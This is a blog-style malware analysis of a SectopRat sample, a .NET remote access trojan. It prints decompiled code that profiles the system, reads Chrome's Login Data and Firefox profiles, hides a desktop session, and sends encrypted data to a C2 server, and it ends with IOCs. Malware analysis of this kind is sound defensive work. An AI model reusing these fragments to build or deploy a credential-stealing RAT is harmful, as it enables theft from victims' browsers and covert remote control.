Deep Dive Into SectopRat

vxhive.blogspot.com/2021/01/deep-dive-into-sectoprat.html

Hello World, In this Article we will gonna look through a newly version of SectopRat Its written in Dotnet So It wasn't so hard. Thanks for @Arkbird and JAMESWT For Their Original Tweets.

Quick Introduction:

SectopRat is a RAT Tool was Firstly Discovered by MalwareHunterTeam in November 15,2019 It has capabilities like connecting to C2 Server, Profiling the System, Steal Browser History From Browsers like Chrome and Firefox, It Sends Stolen User Data in a Json File.

In Depth Reversing:

Sectop Weapozies WMI (Windows Management Instrumentation) in Order to Collect System Information.

Here it Gets OS Name and Version:

```
public static string GetOSFriendlyName()
{
    string result = string.Empty;
    using (ManagementObjectCollection.ManagementObjectEnumerator enumerator = new ManagementObjectSearcher("SELECT
      Caption FROM Win32_OperatingSystem").Get().GetEnumerator())
    {
        if (enumerator.MoveNext())
        {
            result = ((ManagementObject)enumerator.Current)["Caption"].ToString();
        }
    }
    return result;
}
```

Sectop Has a Class named "GetSystemInfo" that Implements most of its System Profiling.

```
public static string GetInfo()
{
    string text = "";
    foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get
      ())
    {
        ManagementObject managementObject = (ManagementObject)managementBaseObject;
        string str = text;
        object obj = managementObject["VideoProcessor"];
        text = str + ((obj != null) ? obj.ToString() : null) + " | ";
        string str2 = text;
        object obj2 = managementObject["AdapterRAM"];
        text = str2 + ((obj2 != null) ? obj2.ToString() : null) + "\n";
    }
    foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Processor").Get())
    {
        ManagementObject managementObject2 = (ManagementObject)managementBaseObject2;
        string str3 = text;
        object obj3 = managementObject2["Name"];
        text = str3 + ((obj3 != null) ? obj3.ToString() : null) + " | ";
        string str4 = text;
        object obj4 = managementObject2["NumberOfCores"];
        text = str4 + ((obj4 != null) ? obj4.ToString() : null) + "\n";
    }
    foreach (ManagementBaseObject managementBaseObject3 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_PhysicalMemory").Get
      ())
    {
        ManagementObject managementObject3 = (ManagementObject)managementBaseObject3;
        text += string.Format("{0} : {1} Mb; {2} \n", managementObject3["BankLabel"], Math.Round(Convert.ToDouble(managementObject3["Capacity"]) /
          1024.0 / 1024.0, 2), managementObject3["Speed"]);
    }
    return text + GetSystemInfo.GetMacAddres();
}
```

It Collects:

. OS Name and Version
. Graphics Card Name and Vram Size
. CPU Version and Number Of Cores
. Physical Memory Size
. Mac Address

Other Things It Collects Like Screen Resolution:

```
public static Size GetScreenResolution()
{
    int W = 0;
    int H = 0;
    try
    {
        FSHelp.EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero, delegate(IntPtr hMonitor, IntPtr hdcMonitor, ref Native.Rect
          lprcMonitor, IntPtr dwData)
        {
            FSHelp.MonitorInfoEx monitorInfoEx = default(FSHelp.MonitorInfoEx);
            monitorInfoEx.Init();
            if (FSHelp.GetMonitorInfo(hMonitor, ref monitorInfoEx))
            {
                W = monitorInfoEx.WorkArea.right;
                if (H < monitorInfoEx.Monitor.bottom)
                {
                    H = monitorInfoEx.Monitor.bottom;
                }
            }
            return true;
        }, IntPtr.Zero);
    }
    catch
    {
    }
    if (W == 0 || H == 0)
    {
        return new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
    }
    return new Size(W, H);
}
```

Sectop Also Steals Browser History From Browsers like Chrome and FireFox.

Here it Opens "%LocalAppData%\\Google\\Chrome\\User Data\\Default\\Login Data" which Contains the websites u visited, usernames and emails u used while browsing these sites.

```
public List<string> Chrome()
{
    List<string> list = new List<string>();
    try
    {
        byte[] array = this.ReadFileArray(Environment.ExpandEnvironmentVariables("%LocalAppData%\\Google\\Chrome\\User Data\
          \Default\\Login Data"));
        if (array == null)
        {
            return new List<string>();
        }
        string hex = BitConverter.ToString(array).Replace("00-", "");
        foreach (object obj in Regex.Matches(Encoding.Default.GetString(SocketMessageHandler.FromHex(hex)), "(http|ftp|https):\\/\
          \/([\\w\\-_]+(?:(?:\\.[\\w\\-_]+)+))([\\w\\-\\.,@?^=%&amp;:/~\\+#]*[\\w\\-\\@?^=%&amp;/~\\+#])?"))
        {
            Match match = (Match)obj;
            list.Add(match.Value + Environment.NewLine);
        }
    }
    catch
    {
    }
    return list;
}
```

Here They Learnt a Lesson From Their Past Sample They Actually Learnt How To Use Environment Variables xD Since in Earlier Samples The Browser Paths were Hardcoded in the Binary which actually limited this Functionality.

They Used This Regex In Order to Filter and Get the Info They Need:

("(http|ftp|https):\\/\\/([\\w\\-_]+(?:(?:\\.[\\w\\-_]+)+))([\\w\\-\\.,@?^=%&:/~\\+#]*[\\w\\-\\@?^=%&/~\\+#])?")

Sectop Has a Function Called "BrowserLogging" Which Basically Sends To The C2 Server The Actions It Do On Browsers

```
public static void BrowserLogging(string log)
{
    new Kak.Log(log).Execute(Connection.rClient);
}
```

Example Here It Starts Chrome using Command Line Parameters Shown And Then sends to Server That it gonna Start Google Chrome using cmd:

```
else if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application
  \\chrome.exe"))
{
    args = "--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync --disable-gpu-program-cache --disable-gpu --
      disable-d3d11 --disable-flash-3d --no-sandbox --user-data-dir=\"" + Environment.GetFolderPath
      (Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\copiedProf\"";
    text4 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\Application\
      \chrome.exe";
    Helpers.BrowserLogging(text4);
}
else
{
    Helpers.BrowserLogging("Chrome will start with cmd");
}
```

As We Said it Also Steals Info from FireFox

```
private static void FireFox(int type)
{
    try
    {
        string text = "";
        string text2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\";
        string text3 = File.ReadAllText(text2 + "profiles.ini");
        bool flag = false;
        Helpers.BrowserLogging("loking for relative profile");
```

According To Mozilla Zine:

Mozilla applications store a user's personal information in a unique profile. The first time you start any Mozilla application, it will automatically create a default profile; additional profiles can be created using the Profile Manager. The settings which form a profile are stored in files within a special folder on your computer — this is the *profile folder*. The installation directory also includes a "profile" folder but this folder contains program defaults, not your user profile data.

So It Bassicly Retrieves the content of this file and then send data to server saying that its fetching the user profile !.

The C2 Connection Is TCP/IP Connection

```
private static bool InitConnection()
{
    if (!AsataFarClient.IsConnected)
    {
        AsataFarClient.TcpClient = new TcpClient();
        AsataFarClient.TcpClient.ReceiveBufferSize = Config.Current.BufferSize;
        AsataFarClient.TcpClient.SendBufferSize = Config.Current.BufferSize;
        bool result;
        try
        {
            AsataFarClient.TcpClient.Connect(Config.Current.ClientHost, Config.Current.ClientPort);
            AsataFarClient.SocketMessageHandler = new ClientSocketMessages(AsataFarClient.TcpClient.Client);
            AsataFarClient.WaitForServerMessage();
            result = true;
        }
        catch
        {
            result = false;
        }
        return result;
    }
    if (Config.Current.StartupMode == Config.StartupModes.Notifier)
    {
        Environment.Exit(0);
        return false;
    }
    return false;
}
```

It Connects To IP 54.194.254.16 on Port 15647

For Encrypting The Sended Data It Uses AES

```
public byte[] EncryptBytes(byte[] bytes)
{
    byte[] array = new byte[16];
    RandomNumberGenerator.Create().GetBytes(array);
    byte[] result;
    using (Aes aes = Aes.Create())
    {
        aes.Key = this.Key;
        aes.IV = array;
        using (ICryptoTransform cryptoTransform = aes.CreateEncryptor(this.Key, array))
        {
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write))
                {
                    cryptoStream.Write(bytes, 0, bytes.Length);
                }
                result = array.Concat(memoryStream.ToArray()).ToArray<byte>();
            }
        }
    }
    return result;
}
```

Sectop C2 Commands Depends on Packet Types

```
switch (b)
{
case 1:
    result = new KerverPac.StartStream(1, list[0]);
    break;
case 2:
    result = new KerverPac.StopStream();
    break;
case 3:
    result = new KerverPac.DoMouseEvent(list[0][0], list[1][0], list[2], list[3], list[4][0]);
    break;
case 4:
    result = new KerverPac.DoKeyboardEvent(list[0][0], list[1][0]);
    break;
case 5:
    result = new KerverPac.StartBrowser(list[0][0]);
    break;
case 6:
    result = new KerverPac.Diskonect();
    break;
case 7:
    result = new KerverPac.GetCodecInfo();
    break;
case 8:
    result = new KerverPac.CaptureInit();
    break;
case 9:
    result = new KerverPac.SetPubIp(Encoding.ASCII.GetString(list[0]));
    break;
}
return result;
```

These Packet Types Are Then Handled by Another Function "HandlePackets"

So Let's Go Step By Step :)

StartStream = Creates a New Desktop Session with Name "sdfsddfg":

```
try
{
    if (num == 0)
    {
        potok.ActiveDesktop = potok.defaultDesktp;
        new Thread(new ThreadStart(this.potokMem)).Start();
    }
    else if (num == 1)
    {
        potok.brMain = IntPtr.Zero;
        potok.defaultDesktp = potok.GetThreadDesktop(potok.GetCurrentThreadId());
        potok.Hdsktp = potok.OpenDesktop("sdfsddfg", 0, true, 511U);
        if (potok.Hdsktp == IntPtr.Zero)
        {
            potok.Hdsktp = potok.CreateDesktop("sdfsddfg", null, IntPtr.Zero, 0U, 511U, IntPtr.Zero);
        }
```

It First Checks if its already Created So It Just Opens It Else It Creates It.

Also It Starts Chrome using cmd.exe /C start chrome.exe about:blank --new-window Creating New Window and Starts FireFox using /C start firefox.exe --new-window https://github.com

I Don't Have Any Idea Why He Does That With FireFox this opens on the main page of github Fuck I got bored from this dumb code xD.

Stop Stream = Stops The Desktop Session

DoMouseEvent = Emulates Mouse Presses

DoKeyboardEvent = Emulates Keyboard Presses

StartBrowser = Handled By InitBrowser Function It Takes in a Parameter and does a switch case on it:

```
switch (b)
{
case 0:
    Helpers.Chrome((int)((byte)browser));
    return;
case 1:
    Helpers.Chrome((int)((byte)browser));
    return;
case 2:
    Helpers.FireFox((int)((byte)browser));
    return;
case 3:
    Helpers.FireFox((int)((byte)browser));
    return;
```

So Bassicly Here It Runs The Calls The Functions That Steal the Browser Data

Case 4 it Starts Internet Explorer Its Hidden and Executed in the Desktop Session It Created

```
case 4:
    Thread.Sleep(500);
    Helpers.BrowserLogging("Start Internet Explorer...");
    try
    {
        Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\
          \Zones\\3", "2500", 3, RegistryValueKind.DWord);
        int num = Native.ExecuteAtHidden("C:\\Windows\\System32\\cmd.exe", "/C start iexplore.exe -extoff -nomerge
          -noframemerging");
        Thread.Sleep(1000);
        if (num == 1)
        {
            Helpers.BrowserLogging("Succes IE");
        }
        else
        {
            Helpers.BrowserLogging("executing error code: " + num.ToString());
        }
    }
    catch (Exception ex)
    {
        Helpers.BrowserLogging(ex.ToString());
    }
```

Diskonect = Shuts Down The C2 Connection

SetCodecInfo = He Forgetted Handling it xD

CaptureInit = Starts A Socket on Local Host on Port 80 (I Swear He is 12)

SetPubIp = Changes C2 Server IP

Sectop Sends the Connection Type Info For The C2 as Json Typical Thing For Most RATs So It Can Be Viewed in the Server GUI:

```
string jsonRequest = string.Concat(new string[]
{
    "{\"Type\":\"ConnectionType\",\"ConnectionType\":\"Client\",\"SessionID\":\"",
    sessionIDToUse,
    "\",\"BotName\":\"",
    Environment.UserName,
    "\",\"BuildID\":\"",
    Config.Current.buildID,
    "\",\"BotOS\":\"",
    SocketMessageHandler.GetOSFriendlyName(),
    "\",\"URLData\":\"",
    text,
    "\",\"UIP\":\"",
    text2,
    "\"}"
});
this.SendJSON(jsonRequest);
```

BotName = UserName
BuildID = Its Set to "Build 1"

BotOS = Operating System
URLData = User Visited URLs
UIP = Public IP Address

IOC's:

Hashes:

MD5: AC617590F4295B4E4808C488CD19E9F9

SHA1: 03572EBD5C37D0839BE360B46FBEED26A4A5F78E

SHA256:
0C2C45EE6F09774E00325A951F21DD4D515B0C62B63AC8FF1712E0DD2F73B262

C2:

54.194.254.16:15647 (Ireland Dublin, Leinster)
172.217.12.238:80 (United States)

Other:

PDB Path: d:\arechsoftret1\hhfghg\obj\x86\release\hjghjg.pdb

References:

https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers (Analysis for an old Sample)

Deep Dive Into HERMES Ransomware

Intro to Malware Traffic Analysis